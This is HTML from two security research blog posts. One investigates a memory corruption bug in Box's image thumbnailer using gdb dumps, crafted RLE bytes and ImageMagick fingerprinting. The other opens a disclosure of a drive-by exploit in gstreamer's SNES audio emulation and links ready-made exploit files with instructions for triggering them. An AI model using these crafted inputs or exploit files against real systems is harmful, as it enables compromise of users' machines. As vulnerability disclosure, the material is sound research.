<span style="font-family: Courier New, Courier, monospace;">7ffff7dd7000-7ffff7dfd000 r-xp 00000000 fc:01 3674897 /lib/x86_64-linux-gnu/ld-2.23.so</span><br />
<span style="background-color: red; font-family: Courier New, Courier, monospace;">7ffff7edf000-7ffff7fcf000 rw-p 00000000 00:00 0 </span><br />
<span style="font-family: Courier New, Courier, monospace;">7ffff7ff6000-7ffff7ff8000 rw-p 00000000 00:00 0 </span><br />
<span style="font-family: Courier New, Courier, monospace;">7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]</span><br />
<div>
<br /></div>
<div>
The mapping highlighted in red is actually a concatenation of the mapping we smashed off the end of, and some other mapping. What is that other mapping?</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">(gdb) x/8xa 0x7ffff7fbf000</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">0x7ffff7fbf000:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x4100002b4187d7<span class="Apple-tab-span" style="white-space: pre;"> </span>0x417ffff141cb21</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">0x7ffff7fbf010:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x417ffff14162a8<span class="Apple-tab-span" style="white-space: pre;"> </span>0x417ffff7415000</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">0x7ffff7fbf020:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x4100004a41a988<span class="Apple-tab-span" style="white-space: pre;"> </span>0x417ffff141bf3b</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">0x7ffff7fbf030:<span class="Apple-tab-span" style="white-space: pre;"> </span>0x417ffff141de78<span class="Apple-tab-span" style="white-space: pre;"> </span>0x417ffff7415000</span></div>
</div>
<div>
<br /></div>
<div>
Well, it's chock full of pointers and you can see we've partially corrupted them by spraying some 0x41 values around. It appears that no used code path dereferences these particular pointers, otherwise we'd have seen a crash. <b>Seems like a great avenue for exploitation, as we can expect this mapping layout to be reasonably repeatable</b>. However, exploitation is not our current goal. Our current goal is to deterministically crash when we go out of bounds. Linux typically uses a top down and first fit algorithm for placing mmap chunks, so if we simply make the allocation bigger, it won't fit in its current place and will go elsewhere.</div>
<div>
<br /></div>
<div>
Our solution is to tweak our image size to be 255 x 16448, still with 4 planes. This causes an allocation of 16776960 bytes. Taking into account the glibc 16 byte header, and rounding the mapping size will be 0x1000000, with the result looking a bit like this:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">7ffff0a60000-7ffff1a60000 rw-p 00000000 00:00 0 </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">7ffff1a60000-7ffff1d38000 r--p 00000000 fc:01 655698 /usr/lib/locale/locale-archive</span></div>
</div>
<div>
<br /></div>
<div>
As can be seen, our allocation which we smash off the end of now backs up against a read only mapping so any such attempt will crash cleanly. Here's our resulting off-by-one file:</div>
<div>
<br /></div>
<div>
<u>File</u>: <a href="https://security.appspot.com/security/rle/gm_oflow_mmap_chunk_oob1.rle">gm_oflow_mmap_chunk_oob1.rle</a></div>
<div>
<u>Result</u>: Fails to thumbnail on Box and crashes with SEGV in v1.3.23 locally.</div>
<div>
<br /></div>
<div>
To go into detail on the calculations resulting in an off-by-one condition, let's look at the RLE protocol bytes:</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">02 f4: set plane to 0xf4</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">03 fe: set X to 254 (default Y is 0, which means bottom)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">06 00 41 00: write 1 byte (0x00 + 1) of value 0x41</span></div>
<div>
<br /></div>
<div>
The calculation of the write offset is (16447 * 255 * 4) + (254 * 4) + 0xf4, which is 0xfffff0. Add in the 16-byte glibc header and the write offset, relative to the start of the mapping, is exactly 0x1000000, which is exactly off-by-one. Here's the crash locally:</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">=> 0x00007ffff7a7e0af <readrleimage>:<span class="Apple-tab-span" style="white-space: pre;"> </span>mov %r13b,(%rcx)</readrleimage></span></div>
<span style="font-family: Courier New, Courier, monospace;">r13 0x41<span class="Apple-tab-span" style="white-space: pre;"> </span>65</span><br />
<span style="font-family: Courier New, Courier, monospace;">rcx 0x7ffff1a60000<span class="Apple-tab-span" style="white-space: pre;"> </span>140737247576064</span><br />
<br />
There are other reasons this file might not thumbnail on Box. A failed thumbnail could be because we hit a backend server that was taking a shower, so we run a few tests across a few days to confirm it consistently fails to thumbnail. Another reason could be the large allocation, if the server has some limits on allocation sizes. So as a final very interesting test, we can change the 0xf4 value in the test file to 0xf3, leading to:<br />
<br />
<u>File</u>: <a href="https://security.appspot.com/security/rle/gm_oflow_mmap_chunk_oob0.rle">gm_oflow_mmap_chunk_oob0.rle</a><br />
<u>Notes</u>: An off-by-zero file, i.e. writes perfectly at the very end of the mmap() allocation. This write is out-of-bounds regarding the actual size passed to malloc(), but in-bounds regarding the mmap() mapping.<br />
<u>Result</u>: Thumbnails ok on Box and also locally with v1.3.23.<br />
<br />
We now have some pretty compelling evidence. By changing a single byte in an input file, which has no effect other than to change an out-of-bounds write offset, we go from consistent success to consistent failure using our thumbnail oracle.<br />
<br />
<b>A more accurate fingerprint</b><br />
<br />
In communications with Box, they were quick to deny using GraphicsMagick but very cagey regarding the actual software used. I don't think this was a particularly clever move: image thumbnailing software is fairly easy to fingerprint because each image decoder has its own set of observable decode capability, quirks, bugs and also vulnerabilities. And the inability to have an open conversation likely lowered the amount of benefit obtained.<br />
<br />
That said, my hasty and incorrect earlier fingerprint attempt was a minor personal embarrassment, so I set out to more accurately fingerprint the software in use. Given the set of image formats supported, and the denial of usage of GraphicsMagick, the only other reasonable suggestion is ImageMagick. In response to my report, Box disabled all of the crazy / fringe decoders. Good move. One remaining decoder supported is PSD (Adobe Photoshop). In an attempt to fingerprint positively for ImageMagick, here's a PSD file with the following properties:<br />
<br />
<ul>
<li>A v2 PSD file: supported by ImageMagick but not GraphicsMagick, gimp, etc.</li>
<li>Contains a ZIP (deflate, really) compressed channel. Supported by ImageMagick but not GraphicsMagick.</li>
<li>Declares greyscale (1 channel) images but tries to render a magenta pixel by referring to the presumably "out of bounds" green channel. ImageMagick gives an RGB image with magenta pixel, not greyscale!</li>
<li>Has deliberately incorrect length / size fields in places where ImageMagick doesn't seem to care.</li>
</ul>
<div>
<u>File</u>: <a href="https://security.appspot.com/security/psd/simplest_zip_nomerged_offset.psd">simplest_zip_nomerged_offset.psd</a></div>
<div>
<u>Result</u>: does not render in GraphicsMagick. Renders a single magenta pixel at offset 2x2 in ImageMagick.</div>
<br />
<u>Box</u>: walks like an ImageMagick, quacks like an ImageMagick...<br />
<br />
<b>Conclusions</b><br />
<br />
By careful construction of an input file, we've produced strong black box evidence of a memory corruption vulnerability in Box's image thumbnailing process. But we've also determined that Box are not using GraphicsMagick, but likely using ImageMagick instead. Are these two facts compatible? Yes. GraphicsMagick forked from ImageMagick back in 2002. At that time, the codebase was extremely buggy and therefore since 2002, both GraphicsMagick and ImageMagick have suffered from a stream of the same vulnerabilities, with little co-ordination, and patches arriving at very different times.<br />
<br />
ImageMagick had the same vulnerability we've been discussing, but it was <a href="http://git.imagemagick.org/repos/ImageMagick/commit/7131d8ff451a1d5163e7e35b7a910df80cb54fab">fixed a couple of years ago</a>. This suggests that Box were running a 2+ years old version of ImageMagick, loaded with vulnerabilities, without any particular attack surface reduction efforts, and without binary ASLR enabled (to be discussed in a future post).<br />
<br />
We can also conclude that the split between GraphicsMagick and ImageMagick has led to a bit of a mess. If you look at all the vulnerabilities fixed in GraphicsMagick, not all of them are fixed in ImageMagick and visa versa. This is a potentially great source of bugs; I'm not even sure if you'd call them 0days or 1days.Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com0tag:blogger.com,1999:blog-3024470480937744884.post-71776601581168673172016-12-13T01:13:00.000-08:002016-12-13T13:05:05.958-08:00Redux: compromising Linux using... SNES Ricoh 5A22 processor opcodes?!<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">TL;DR: full reliable 0day drive-by exploit against Fedora 25 + Google Chrome, by breaking out of Super Nintendo Entertainment System emulation via cascading side effects from a subtle and interesting emulation error. Very full details follow</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br />
<span style="font-family: Arial, Helvetica, sans-serif;">[<b>UPDATE</b> 13 Dec 2016 -- a couple of competent readers inform me that I've named the wrong processor! The actual emulated processor where the fault lies is the Sony SPC700, not the Ricoh 5A22. Whoops. The SPC700 is exclusively an audio co-processor. The 5A22, which is not emulated by Game Music Emu, is the main processor.]</span><br />
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">I had a lot of fun </span><a href="https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-compromising-linux-desktop.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">compromising the Linux desktop using 6502 opcodes on the original Nintendo NES</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Would it be possible to have even more fun? Why, yes it would! My previous NES related exploit suffered from multiple fun-limiting issues:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Although it was a genuine 0day exploit, it only affected very old Linux distributions. Something affecting bang up to date Linux installs would generate greater lulz.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vulnerability that was abused -- a total lack of bounds checking on memory bank mapping -- was somewhat obvious. More fun can often be had with vulnerabilities that are slightly more subtle.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The lack of “super”! The Super Nintendo Entertainment System (SNES) is even more iconic than the original NES. Regarding its 1990 release, </span><a href="https://en.wikipedia.org/wiki/Super_Nintendo_Entertainment_System" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Wikipedia notes</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “the resulting social disturbance led the Japanese government to ask video game manufacturers to schedule future console releases on weekends”. So we need more Super.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Resolving all the above, I present here a full, working, reliable, 0day exploit for current Linux distributions (Ubuntu 16.04 LTS and Fedora 25). It’s a full drive-by download in the context of Fedora. It abuses cascading subtle side effects of an emulation misstep that at first appears extremely difficult to exploit but ends up presenting beautiful and </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">100% reliable</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> exploitation possibilities.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You’ve likely guessed it by now, but the Linux gstreamer media playback framework supports playback of SNES music files by…. emulating the SNES CPU and audio processor, courtesy of </span><a href="http://www.slack.net/~ant/libs/audio.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Game Music Emu</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. How cool is that?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Demo and impact</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Today, the demos are videos instead of images. This first video shows a full, reliable drive-by download against Fedora 25 + Google Chrome. The strong reliability of this exploit makes it work inside Fedora’s </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">tracker-extract</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> process, which has highly variable heap state that has frustrated my other exploit attempts. Finally, decent exploit proof of </span><a href="https://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">my earlier suspicion that tracker + Google Chrome is very dangerous</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/WKwRijjqdzY/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/WKwRijjqdzY?feature=player_embedded" width="320"></iframe></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Exploit file: </span><a href="https://security.appspot.com/security/spc/gnome_calc_fedora_25_libc_2.24-3.spc" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">gnome_calc_fedora_25_libc_2.24-3.spc</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (rename it to .flac to get it to work as in the video).</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And this second video shows a couple of different exploitation contexts in Ubuntu 16.04 LTS, using the same exploit file for each. Again, this is showcasing the reliability that the underlying vulnerability permits. The different exploited processes (</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gnome-video-thumbnailer</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">totem</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">) have very different heap and threading setups:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/wrCLoem6ggM/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/wrCLoem6ggM?feature=player_embedded" width="320"></iframe></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Exploit file: </span><a href="https://security.appspot.com/security/spc/xcalc_ubuntu_16.04_libc_2.23-0ubuntu3.spc" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">xcalc_ubuntu_16.04_libc_2.23-0ubuntu3.spc</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (rename it to .mp3 to get it to work as in the video).</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Impact is mixed. On Ubuntu, the faulty code is installed and on the attack surface by default, if you select the “mp3” option during install -- which I certainly always do. On Fedora, there’s a very sensible decision to split </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gstreamer1-plugins-bad</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> into multiple packages, with only </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gstreamer1-plugins-bad-free</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> installed by default. This limits the attack surface and does not include Game Music Emu. Of course, the gstreamer framework will happily offer to install </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gstreamer1-plugins-bad-free-extras</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, with a very nice UI, if the victim simply tries to open the relevant media file.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As always, the general lack of sandboxing here contributes to the severity. I think we inhabit a world where media parsing sandboxes should be mandatory these days. There’s hope: some of my other recent disclosures appear to have motivated </span><a href="https://bugzilla.gnome.org/show_bug.cgi?id=764786" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">a sandbox for Gnome’s tracker</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Introducing Blargg!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="blargg.jpg" height="264" src="https://lh5.googleusercontent.com/MZxbxb0Cq5jJF1BLfO0r0xbrc17fbUQYEUQ3OJCOmi1KDI6sN4c5glPf3bL2hQnCrdoFCwctAivohRwUEA0jo2pBGMPPWBGdWQGyKSmSV4GzbESk3mIHpK7_z5VI-9oVe7hnqvDh" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="300" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A Blargg, in Super Mario World, is a </span><a href="http://www.mariowiki.com/Blargg" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">monster that lives in lava</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. It is also the nickname or handle of the original author of Game Music Emulator, and the handle appears in various macros, e.g.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ay_Cpu.cpp:#if BLARGG_BIG_ENDIAN</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">I think this is a wonderful sounding word. In fact it sounds like a </span><a href="https://en.wikipedia.org/wiki/Terry_Pratchett" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Terry Pratchett</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">-esque expletive. Instead of presenting the exploit as a magically working thing, we’ll cover a little of the journey towards the final payloads. On this journey, we’ll make mistakes, and crash into nasty dead ends after following promising leads. Exploits do not magically appear; there is often a lot of undocumented sweat behind them. To deal with these frustrations, we’ll need a suitable expletive. To honor Terry, blarrrgggg!! it is.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Two vulnerabilities</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">At least two vulnerabilities exist in the core emulation logic of the Ricoh 5A22 processor, which is mostly in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Cpu.h</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
